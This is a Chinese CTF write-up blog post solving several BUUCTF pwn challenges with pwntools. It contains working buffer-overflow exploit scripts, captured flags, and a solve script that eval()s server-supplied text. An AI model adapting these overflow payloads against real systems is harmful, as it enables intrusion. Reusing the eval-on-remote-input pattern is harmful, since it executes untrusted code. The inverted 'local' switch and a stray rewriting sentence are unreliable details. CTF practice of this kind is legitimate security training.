【CTF解题】BUUCTF Pwn篇
2022-12-03 / 0 评论 / 68 阅读 / 6 点赞

【CTF解题】BUUCTF Pwn篇

发光的神
2022-12-03 / 0 评论 / 68 阅读 / 正在检测是否收录...

简介

​Pwn 二进制漏洞挖掘 ( 建立在二进制逆向的基础之上 ),在CTF比赛中Pwn题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本 exp 来获取对方服务器的 shell,然后get到flag。

环境准备

首先用 Python 来编写exp,对于pwn最常用的模块就是 pwntools,可以用以下命令进行安装模块,更多使用方式可以自行查看 pwntools 帮助文档。

pip install pwntools

基本使用

from pwn import *

context.log_level = "debug"

local = True
if local:
    io = remote("node4.buuoj.cn", 29248) # 向目标主机,对应端口发送连接
else:
    io = process("./pwn1") # 本地进行连接调试
payload = "a" * (0xf + 8) + p64(0x401187) # 填充之后,覆盖返回地址,p32, p64打包为二进制;u32, u64解包为二进制
io.sendline(payload) # 发送编写的恶意代码
io.interactive() # 与远程服务器中的 shell 交互得到控制权
# 发送 payload
p.send(payload)      #发送 payload
p.sendline(payload)  #发送 payload,并进行换行(末尾\n)
p.sendafter(some_string, payload)      #接收到 some_string 后, 发送你的 payload
p.sendlineafter(some_string, payload)  #接收到 some_string 后, 发送你的 payload,加个换行
# 接收返回内容
p.recvn(N)       #接受 N(数字) 字符
p.recvline()     #接收一行输出
p.recvlines(N)   #接收 N(数字) 行输出
p.recvuntil(some_string)   #接收到 some_string 为止
p.interactive()    #直接进行交互,相当于回到shell的模式,一般在取得shell之后使用
asm(shellcraft.sh()) # 生成 shellcode

ELF

# 首先需要 elf=ELF('./filename') 来产生一个对象
elf.symbols['a_function']  #找到 a_function 的地址
elf.got['a_function']  #找到 a_function的 got
elf.plt['a_function']  #找到 a_function 的 plt
elf.next(e.search("some_characters"))  #找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址

pwn1

legrttls.png

RELRO (Read-Only Relocations):该特性可防止对全局偏移量表(GOT)的篡改。开启 RELRO 保护后,动态链接器会将 GOT 设置为只读,从而防止攻击者利用 GOT 漏洞攻击程序。
Stack Canary:该特性是一种堆栈保护机制,可防止栈溢出攻击。当开启栈保护时,程序会在函数返回地址附近放置一个栈保护(canary)值。如果该值被篡改,程序会异常终止,防止栈溢出攻击。
NX (Non-Executable Stack):该特性可防止在程序的栈段执行恶意代码。开启 NX 保护后,程序的栈段不允许执行代码,从而防止栈溢出攻击中植入的 shellcode 执行。
PIE (Position Independent Executable):该特性使程序的代码位置随机化,增加攻击者预测代码位置的难度,从而防止有效攻击。
RWX (Read-Write-Execute):该属性使得程序的部分区域拥有可读、可写、可执行的权限,但同时也会增加程序的安全风险。

legse7ds.png

尝试运行下程序,看下是否存在缓冲区溢,随便输入字符 a 给它填充,发现果然有问题。

legs3moh.png

直接进IDA看看吧,一进来就看到这个程序的主入口,里面的代码写的很简单这个题目比较经典。

legtq3lj.png

在这里先确定一下,多少个字节才会溢出,点击s进去查看一下,发现是F那么就是15个字节,只要溢出15个字符并把要跳转的内存地址打进去,就能拿下它了。

legsikdn.png

可以看到 /bin/bash 字符串的地址是在 0x40186,我们需要让程序执行到这个地址上,现在已经知道了缓冲区的长度限制为 64 个字节,可以利用这个限制构造出一个恰好溢出到 rip 寄存器,来实现程序控制流转移到 /bin/bash 字符串的地址上,好开始编写exp。

legsmbsm.png

尝试利用漏洞进行攻击之前,可以在本地对漏洞进行调试,确保我们的攻击代码的正确性。

legso5vl.png

根据提供的信息,可以将"很明显成功了"更明确地表达为"根据本地调试的结果,可以确定攻击成功"。
legss5pv.png

from pwn import  *

local = True
if local:
    io = remote("node4.buuoj.cn", 4462)
else:
    io = process('./pwn1')
offset = 0xF + 8
payload = offset * b'a' + p64(0x0040118A)
io.sendline(payload)
io.interactive()
flag{7af2d36e-c44d-4b78-825b-bd53f7d0ba96}

pwn2

lejgbp4n.png

尝试运行下程序,发现程序给出了一个带有地址的提示,暂时不用管这个,直接输入"a"来进行测试,发现程序是存在缓冲区溢出的。

lejg8a6y.png

直接打开IDA反编译软件,打开要分析的程序,直接使用快捷键"F5",查看程序伪代码,经过观察发现,在sprintf函数中有一个名为sub_40060D的函数,我们可以双击该函数,进入其中查看其具体实现内容

lejg8mew.png

根据分析结果,可以发现返回的操作是用来查看文本内容的,而查看的内容正是我们想要的flag。

lejg8r5n.png

接着查看v5变量的容量,发现只有64个字节,而代码中没有做长度限制的处理,好直接开始编写代码。

lejgjhmv.png

这段代码的过程相对简单,主要是找到需要填充覆盖的位置,使其溢出,然后跳转到我们想要执行的代码地址上。

lejgioer.png

from pwn import *

local = True
if local:
    io = remote("node4.buuoj.cn", 29836)
else:
    io = process("./pwn2")
payload = b"a" * 72 + p64(0x40060d)
io.sendline(payload)
io.interactive()
flag{4abacf48-1539-4a8a-a595-03cf349c6ff5}

ciscn_2019_n_1

lpp640kc.png

main 函数里调用了 func(),func中存在经典 gets() 漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125,既然题目判断 v2 的值,那么我们将 v2 的值覆盖成 11.28125 就行了,

11.28125 = 0x41348000

lpp687x9.png

from pwn import *

local = True
if local:
    io = remote("node4.buuoj.cn", 56120)
else:
    io = process("./ciscn_2019_n_1")
payload = b"a" * (0x30 - 0x4) + p64(0x41348000)
io.send(payload)
io.interactive()
flag{5914b0d1-405f-4a5c-b3ea-dc820214342d}

算数题

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>

void handler(int signum){
  puts("Timeout");
  _exit(1);
}

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  signal(SIGALRM, handler);
  alarm(90);

  unsigned seed = (unsigned)time(NULL);
  srand(seed);

  unsigned int magic;
  printf("Give me the magic number :)\n");
  read(0, &magic, 4);
  if (magic != 3735928559) {
    printf("Bye~\n");
    exit(0);
  }

  printf("Complete 1000 math questions in 90 seconds!!!\n");
  for (int i = 0; i < 1000; ++i) {
    int a = random() % 65535;
    int b = random() % 65535;
    int c = random() % 3;
    int ans;
    switch(c) {
      case 0:
        printf("%d + %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a + b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 1:
        printf("%d - %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a - b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 2:
        printf("%d * %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a * b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
    }
  }
  printf("Good job!\n");
  system("sh");

  return 0;
}

liofb6rz.png

这题考察如何利用Pwntools进行交互式,自动答题并获取到shell。

from pwn import *

io = process('./pwntools')
io.recvuntil('number :)\n')
p = p32(0xDEADBEEF)
io.send(p)
io.recvline()

for _ in range(1000):
    q = io.recvuntil('= ?').decode().replace('= ?', '')
    io.sendline(str(eval(q)))
io.interactive()
6

评论 (0)

取消
0:00